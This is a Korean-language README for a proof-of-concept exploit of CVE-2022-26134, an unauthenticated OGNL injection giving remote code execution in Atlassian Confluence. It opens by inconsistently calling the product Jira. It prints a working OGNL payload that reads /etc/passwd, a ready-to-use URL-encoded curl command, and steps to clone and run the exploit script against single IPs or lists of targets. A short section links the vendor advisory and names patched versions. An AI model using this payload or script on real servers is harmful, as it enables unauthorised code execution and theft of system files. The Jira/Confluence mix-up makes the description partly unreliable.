
Atlassian Jira 익스플로잇을 위한 간단한 PoC입니다. 서버에서 인가되지 않은 사용자에게 코드 실행을 제공합니다.
Atlassian Jira 익스플로잇을 위한 간단한 PoC입니다. 인증되지 않은 사용자가 서버에서 코드를 실행할 수 있게 합니다.
CVE-2022-26134 - OGNL 인젝션 취약점.
Atlassian Confluence 7.18 및 이하 제품에 영향을 미치는 원격 코드 실행 취약점을 악용하는 개념 증명 스크립트입니다. OGNL 인젝션 취약점을 통해 인증되지 않은 사용자가 Confluence Server 또는 Data Center 인스턴스에서 임의 코드를 실행할 수 있습니다.
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
CURL 명령 예시:
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
그러면 명령 결과가 응답 헤더의 X-Cmd-Response 매개변수에 반영됩니다.
공급업체의 완화 지침
Atlassian의 공식 권장 사항을 따라주세요: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
Atlassian은 이 문제에 대한 패치가 포함된 버전 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 및 7.18.1을 출시했습니다.
1. git clone https://github.com/iveresk/cve-2022-26134.git
2. cd cve-2022-26134
3. pip install -r requirements.txt
4. Ex#1: python3 cve-2022-26134.py <IP> <COMMAND> - command is optional - default will be set as "whoami" just to check if your server is vulnerable
5. Ex#2: 4. Ex#1: python3 cve-2022-26134.py <FILE-WITH-IPs> <COMMAND>
자세한 내용은 Keybase를 통해 언제든지 연락 주세요.